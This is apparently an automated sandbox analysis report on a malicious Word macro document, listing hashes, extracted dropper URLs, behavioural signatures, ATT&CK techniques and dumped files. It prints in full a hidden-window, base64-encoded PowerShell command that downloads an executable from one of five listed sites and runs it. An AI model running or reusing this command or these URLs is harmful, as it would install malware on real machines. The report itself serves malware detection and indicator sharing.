7a18fe0aea0584eb447028be2e1415a7e269a77bf46b589d27ca2b83a2ef48ef

General

Target

7a18fe0aea0584eb447028be2e1415a7e269a77bf46b589d27ca2b83a2ef48ef.doc
Size

181KB
MD5

f5f319b1de24e14da087f06058bc3627
SHA1

0084b76f4cf72bd0c05fa05aa301d95f395bc57e
SHA256

7a18fe0aea0584eb447028be2e1415a7e269a77bf46b589d27ca2b83a2ef48ef
SHA512

39dfaaa12d70f5890a4347df437d251880fe26bcece3968eb98d0eef90d702997301f28930daa4abf697961806486a4a2571ae20c24678739a2bce2ad3bae7c3
SSDEEP

3072:9NO2y/GdywFyktGDWLS0HZWD5w8K7Nk9rD7IBUdasiv8OP73:9NO2k4PF7tGiL3HJk9rD7bdasiv86j

Score

10^/10

execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://diwafashions.com/wp-admin/mqau6/

exe.dropper

http://designers.hotcom-web.com/ubkskw29clek/qnpm1p/

exe.dropper

http://dixartcontractors.com/cgi-bin/nnuv/

exe.dropper

http://diaspotv.info/wordpress/G/

exe.dropper

http://easyvisaoverseas.com/cgi-bin/v/

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1612	4256	Powershell.exe	83

Blocklisted process makes network request 3 IoCs

flow	pid	Process
26	1612	Powershell.exe
73	1612	Powershell.exe
76	1612	Powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1612	Powershell.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
4852	WINWORD.EXE
4852	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1612	Powershell.exe
1612	Powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1612	Powershell.exe

Suspicious use of SetWindowsHookEx 8 IoCs

pid	Process
4852	WINWORD.EXE
4852	WINWORD.EXE
4852	WINWORD.EXE
4852	WINWORD.EXE
4852	WINWORD.EXE
4852	WINWORD.EXE
4852	WINWORD.EXE
4852	WINWORD.EXE

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 4852 wrote to memory of 1676	4852	WINWORD.EXE	84
PID 4852 wrote to memory of 1676	4852	WINWORD.EXE	84

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\7a18fe0aea0584eb447028be2e1415a7e269a77bf46b589d27ca2b83a2ef48ef.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4852
- C:\Windows\splwow64.exe
  C:\Windows\splwow64.exe 12288
  2⤵
  PID:1676

C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe
Powershell -w hidden -en JABWAGgAZAByAGkAZwBwAHQAeQA9ACcARwByAG4AcgBsAHYAagBnAHEAdwBpAGUAbAAnADsAJABRAGgAeQBtAGQAZAB0AHAAdQAgAD0AIAAnADgAOAAyACcAOwAkAFEAeQBmAHIAZgBhAHgAcABzAHAAeQA9ACcAQgBuAGIAbwByAGEAZwB6AGwAcgAnADsAJABLAGEAdABxAGgAcwByAGcAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAFEAaAB5AG0AZABkAHQAcAB1ACsAJwAuAGUAeABlACcAOwAkAE8AYQBqAG4AZAByAHUAbAByAD0AJwBTAHoAdABnAHUAeAB6AHcAdwBrAHUAbwAnADsAJABGAHUAegBqAGQAcwBnAHYAZQA9ACYAKAAnAG4AJwArACcAZQB3ACcAKwAnAC0AbwBiACcAKwAnAGoAZQBjAHQAJwApACAAbgBFAFQALgBXAGUAYgBDAGwAaQBFAE4AVAA7ACQAVgB4AHkAegB5AHYAeQBzAGYAbQA9ACcAaAB0AHQAcAA6AC8ALwBkAGkAdwBhAGYAYQBzAGgAaQBvAG4AcwAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8AbQBxAGEAdQA2AC8AKgBoAHQAdABwADoALwAvAGQAZQBzAGkAZwBuAGUAcgBzAC4AaABvAHQAYwBvAG0ALQB3AGUAYgAuAGMAbwBtAC8AdQBiAGsAcwBrAHcAMgA5AGMAbABlAGsALwBxAG4AcABtADEAcAAvACoAaAB0AHQAcAA6AC8ALwBkAGkAeABhAHIAdABjAG8AbgB0AHIAYQBjAHQAbwByAHMALgBjAG8AbQAvAGMAZwBpAC0AYgBpAG4ALwBuAG4AdQB2AC8AKgBoAHQAdABwADoALwAvAGQAaQBhAHMAcABvAHQAdgAuAGkAbgBmAG8ALwB3AG8AcgBkAHAAcgBlAHMAcwAvAEcALwAqAGgAdAB0AHAAOgAvAC8AZQBhAHMAeQB2AGkAcwBhAG8AdgBlAHIAcwBlAGEAcwAuAGMAbwBtAC8AYwBnAGkALQBiAGkAbgAvAHYALwAnAC4AIgBzAFAAbABgAEkAVAAiACgAJwAqACcAKQA7ACQAUAB1AHcAcQBvAGYAZwBoAGwAPQAnAE4AYgBwAHgAZABuAHUAZAAnADsAZgBvAHIAZQBhAGMAaAAoACQASABkAGkAawBjAGUAdgBiAHUAYwB6AGgAYQAgAGkAbgAgACQAVgB4AHkAegB5AHYAeQBzAGYAbQApAHsAdAByAHkAewAkAEYAdQB6AGoAZABzAGcAdgBlAC4AIgBkAG8AdwBOAEwAbwBhAGQAYABGAGAASQBsAGUAIgAoACQASABkAGkAawBjAGUAdgBiAHUAYwB6AGgAYQAsACAAJABLAGEAdABxAGgAcwByAGcAKQA7ACQAUAB5AHUAbQBiAG0AdgBiAHYAdAA9ACcASABuAHgAeQB2AGMAcwBuACcAOwBJAGYAIAAoACgAJgAoACcARwAnACsAJwBlAHQALQBJAHQAZQAnACsAJwBtACcAKQAgACQASwBhAHQAcQBoAHMAcgBnACkALgAiAGwAZQBuAGAAZwBUAGgAIgAgAC0AZwBlACAAMgA4ADQAMQAxACkAIAB7AFsARABpAGEAZwBuAG8AcwB0AGkAYwBzAC4AUAByAG8AYwBlAHMAcwBdADoAOgAiAHMAVABhAGAAUgBUACIAKAAkAEsAYQB0AHEAaABzAHIAZwApADsAJABHAGcAdwBqAHkAcwB4AHoAPQAnAFgAYQB2AGMAZABtAHMAbABnAHAAeAAnADsAYgByAGUAYQBrADsAJABVAGIAYQBmAHIAcwBrAGYAeQBiAD0AJwBHAGYAYwB4AGkAeQB1AGEAbQBqAG4AJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAUgBwAGEAYwBlAHgAZQByAHUAYgBpAHgAbgA9ACcAQQBrAHoAeQB5AG8AeABoAHAAJwA=
1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1612

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\D94AEACA.wmf

Filesize
444B

MD5
6cf177a361859de0addaad050b840260

SHA1
bc06cf1734803fd09168dd431b90b1fdb2734c1b

SHA256
4df913a29a6596063b2a4c6f80497da09d630f5e6690ff52e308a9ec21802058

SHA512
f61d32f22b8ad3d425a05ddb12763bbcf92e48eb7a9211b61413d84cb2b5367cd4160e36888f087508442b9e2f1ba913fa527b15c9e64d9161455ea470007605

Download Submit
C:\Users\Admin\AppData\Local\Temp\TCD1923.tmp\sist02.xsl

Filesize
245KB

MD5
f883b260a8d67082ea895c14bf56dd56

SHA1
7954565c1f243d46ad3b1e2f1baf3281451fc14b

SHA256
ef4835db41a485b56c2ef0ff7094bc2350460573a686182bc45fd6613480e353

SHA512
d95924a499f32d9b4d9a7d298502181f9e9048c21dbe0496fa3c3279b263d6f7d594b859111a99b1a53bd248ee69b867d7b1768c42e1e40934e0b990f0ce051e

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_loomzujl.mxc.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\UProof\CUSTOM.DIC

Filesize
16B

MD5
d29962abc88624befc0135579ae485ec

SHA1
e40a6458296ec6a2427bcb280572d023a9862b31

SHA256
a91a702aab9b8dd722843d3d208a21bcfa6556dfc64e2ded63975de4511eb866

SHA512
4311e87d8d5559248d4174908817a4ddc917bf7378114435cf12da8ccb7a1542c851812afbaf7dc106771bdb2e2d05f52e7d0c50d110fc7fffe4395592492c2f

Download Submit
memory/1612-58-0x0000018E71290000-0x0000018E712B2000-memory.dmp

Filesize
136KB

Download
memory/4852-10-0x00007FFE0FC50000-0x00007FFE0FE45000-memory.dmp

Filesize
2.0MB

Download
memory/4852-7-0x00007FFE0FC50000-0x00007FFE0FE45000-memory.dmp

Filesize
2.0MB

Download
memory/4852-11-0x00007FFE0FC50000-0x00007FFE0FE45000-memory.dmp

Filesize
2.0MB

Download
memory/4852-13-0x00007FFE0FC50000-0x00007FFE0FE45000-memory.dmp

Filesize
2.0MB

Download
memory/4852-12-0x00007FFE0FC50000-0x00007FFE0FE45000-memory.dmp

Filesize
2.0MB

Download
memory/4852-15-0x00007FFE0FC50000-0x00007FFE0FE45000-memory.dmp

Filesize
2.0MB

Download
memory/4852-16-0x00007FFDCD640000-0x00007FFDCD650000-memory.dmp

Filesize
64KB

Download
memory/4852-14-0x00007FFE0FC50000-0x00007FFE0FE45000-memory.dmp

Filesize
2.0MB

Download
memory/4852-9-0x00007FFE0FC50000-0x00007FFE0FE45000-memory.dmp

Filesize
2.0MB

Download
memory/4852-0-0x00007FFDCFCD0000-0x00007FFDCFCE0000-memory.dmp

Filesize
64KB

Download
memory/4852-6-0x00007FFE0FC50000-0x00007FFE0FE45000-memory.dmp

Filesize
2.0MB

Download
memory/4852-1-0x00007FFDCFCD0000-0x00007FFDCFCE0000-memory.dmp

Filesize
64KB

Download
memory/4852-17-0x00007FFDCD640000-0x00007FFDCD650000-memory.dmp

Filesize
64KB

Download
memory/4852-8-0x00007FFE0FC50000-0x00007FFE0FE45000-memory.dmp

Filesize
2.0MB

Download
memory/4852-5-0x00007FFDCFCD0000-0x00007FFDCFCE0000-memory.dmp

Filesize
64KB

Download
memory/4852-3-0x00007FFE0FCED000-0x00007FFE0FCEE000-memory.dmp

Filesize
4KB

Download
memory/4852-4-0x00007FFDCFCD0000-0x00007FFDCFCE0000-memory.dmp

Filesize
64KB

Download
memory/4852-69-0x00007FFE0FC50000-0x00007FFE0FE45000-memory.dmp

Filesize
2.0MB

Download
memory/4852-70-0x00007FFE0FC50000-0x00007FFE0FE45000-memory.dmp

Filesize
2.0MB

Download
memory/4852-2-0x00007FFDCFCD0000-0x00007FFDCFCE0000-memory.dmp

Filesize
64KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads